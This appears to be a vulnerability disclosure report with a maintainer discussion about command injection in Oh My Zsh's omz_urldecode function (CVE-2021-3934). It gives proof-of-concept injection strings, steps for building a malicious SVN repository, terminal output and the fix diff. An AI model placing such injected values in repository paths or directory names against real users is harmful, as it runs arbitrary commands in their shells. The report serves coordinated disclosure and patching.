OS Command Injection in ohmyzsh/ohmyzsh
Reported on
Nov 2nd 2021
Description
In Oh My Zsh, there is a function called omz_urldecode, which is used to decode URLs. Since this function is using eval with user inputs without any sanitization, it's possible to inject arbitrary commands into the eval context, which allows an attacker to achieve the command injection.
Some official themes are using this function via svn_prompt_info, so it's possible to execute arbitrary commands once someone changed their current directory to the malicious SVN repository.
Steps to reproduce
Simpler steps:
1. Open Oh My Zsh in your terminal.
2. Execute omz_urldecode "test'+id+&&+echo+'pwned'+&&+touch+'/tmp/pwned".
3. id && echo 'pwned' && touch /tmp/pwned will be executed.
Realistic attack scenario:
Setup a malicious SVN repository:
1. Install subversion and sqlite3.
2. Create a new repository in /tmp/svn: svnadmin create /tmp/svn
3. Create a new directory named repo in /tmp and change the current directory: mkdir /tmp/repo && cd /tmp/repo
4. Checkout the repository: svn co file:///tmp/svn /tmp/repo
5. Open .svn/wc.db with sqlite3: sqlite3 .svn/wc.db
6. Update the repository URL: update NODES set repos_path="test'+id+&&+echo+'pwned'+&&+touch+'/tmp/pwned" where local_relpath="";
7. Quit sqlite3: .exit
Trigger the vulnerability:
1. Open ~/.zshrc with a text editor.
2. Set ZSH_THEME to minimal: ZSH_THEME="minimal"
3. Add svn to plugins: plugins=(git svn)
4. Restart Oh My Zsh, and apply the configuration.
5. Change the current directory to /tmp/repo: cd /tmp/repo
6. id && echo 'pwned' && touch /tmp/pwned will be executed.
➜ / ls -la /tmp/pwned
ls: cannot access '/tmp/pwned': No such file or directory
➜ / svnadmin create /tmp/svn
➜ / mkdir /tmp/repo && cd /tmp/repo
➜ repo svn co file:///tmp/svn /tmp/repo
Checked out revision 0.
➜ repo sqlite3 .svn/wc.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> update NODES set repos_path="test'+id+&&+echo+'pwned'+&&+touch+'/tmp/pwned" where local_relpath="";
sqlite> .exit
➜ repo cd /
➜ / vim ~/.zshrc
➜ / zsh
/ » cd /tmp/repo
/tmp/repo [uid=0(root) gid=0(root) groups=0(root)
pwned] » ls -la /tmp/pwned
-rw-r--r-- 1 root root 0 Nov 2 04:21 /tmp/pwned
/tmp/repo [uid=0(root) gid=0(root) groups=0(root)
pwned] »
Impact
As omz_urldecode function itself is intended to be used in the plugins/functions, it may allow an attacker to achieve remote code execution, depends on how themes/plugins use this function.
Occurrences
Hi, I've updated the report to properly format the occurrences, as if this is mis-formatted, it may lead to our system automatically invalidating the report.
Hi and thank you for your response. As mentioned in my report, huntr.dev is currently leaking occurrences even if the report itself is private. Is there any way to prevent this from happening? If not, I'd like to revert changes.
We're deploying a fix for this issue today. Reverting this change would lead to the bounty being dropped for an invalid report (invalid permalink references provided).
Okay, thank you so much for fixing the issue! I'll leave the permalink as it is then.
SECURITY.md
2 years ago
Hi adam, it looks like the report isn't sent correctly:
https://github.com/ohmyzsh/ohmyzsh/issues/10380#issuecomment-962444609
Hey there, just a kind reminder that we're still waiting for news about this. Let me know also if it turned out not to be an issue after all, just for peace of mind. Thanks!
Can you check if the email address is correct?
Hi, this is Marc Cornellà from Oh My Zsh. I don't think I'm added as a maintainer since only Robby got the email and I can't see this bounty while logged in.
That said, I already have a fix but I don't want to make it public yet until we can ensure a small window between the fix being rolled out and all users getting it (as is now, some users may get updates 13 days late).
Can I submit the fix, then wait for it to be public before the vulnerability is disclosed?
@maintainer - I have now added you (Marc) as a maintainer of this repository. You will now have access to this report and be notified of new reports as well.
I'd recommend confirming the fix once you are ready for the report to go public. You can always just drop a message here with a link to the fix commit, just to serve as a reminder 👍
The fix is simply this, I haven't pushed it to my clone in case anyone finds it before the fix is rolled out.
diff --git a/lib/functions.zsh b/lib/functions.zsh
index fc53611b..61f4dd49 100644
--- a/lib/functions.zsh
+++ b/lib/functions.zsh
@@ -237,12 +237,11 @@ function omz_urldecode {
tmp=${tmp:gs/\\/\\\\/}
# Handle %-escapes by turning them into `\xXX` printf escapes
tmp=${tmp:gs/%/\\x/}
- local decoded
- eval "decoded=\$'$tmp'"
+ local decoded="$(printf -- "$tmp")"
By the way, I've been trying a bunch of stuff and I've found a way to exploit this with a malicious svn repo, without messing with sqlite. The method would be to add a directory with a name like baddir'+id+&&+echo+'pwned. If the user then enters this directory, the vulnerability would be triggered.
I've also found a bunch of other stuff similar to this vulnerability which are worse than this one 😐
That fix seems work fine, I couldn't find a way to bypass it.
> By the way, I've been trying a bunch of stuff and I've found a way to exploit this with a malicious svn repo, without messing with sqlite. The method would be to add a directory with a name like baddir'+id+&&+echo+'pwned. If the user then enters this directory, the vulnerability would be triggered.
Oh, I missed that... Thanks for letting me know about that ;)
> I've also found a bunch of other stuff similar to this vulnerability which are worse than this one 😐
That sounds bad, was it something like remotely exploitable without user interactions?
A vulnerability in branch name output to the PROMPT, so a bad branch would trigger code, in some themes (so a checkout and cd to a malicious repository triggers it).
A vulnerability in title setting with the default Oh My Zsh function (this requires changes made by the user).
A vulnerability in two plugins that output messages from a website (no user interaction needed, just enabling the plugin).
A vulnerability in a plugin that
evals a directory name, so moving out of a directory with a bad name would trigger the vuln.
Oops, that sounds pretty bad. I'm glad that you found them before this report was published :)
Vulnerability disclosure (without exploit steps) will be published today alongside the fixes. After a week or so this report could be made public. @admin thoughts?
We will publish the CVE (without exploit steps), so that a common identifier can be used when discussing this vulnerability. After this, we will make the report public on the 18th of November.
CVE published! 🎊 (CVE-2021-3934)
We will confirm the fix against this report 1 week from now. This will make the report public.
Just for reference:
https://github.com/ohmyzsh/ohmyzsh/commit/6cb41b70a6d04301fd50cd5862ecd705ba226c0e
